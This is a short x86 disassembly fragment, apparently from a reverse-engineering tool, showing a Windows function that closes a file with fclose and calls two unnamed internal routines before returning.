mov esi, eax
add esp, 4
test esi, esi
jne 0x2a8e8b97
push edi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0
push esi
call fcn.2a8cca00
push edi
push ebx
push 0x6a
push esi
call fcn.2a8cca30
add esp, 0x18
mov eax, esi
pop edi
pop esi
pop ebx
ret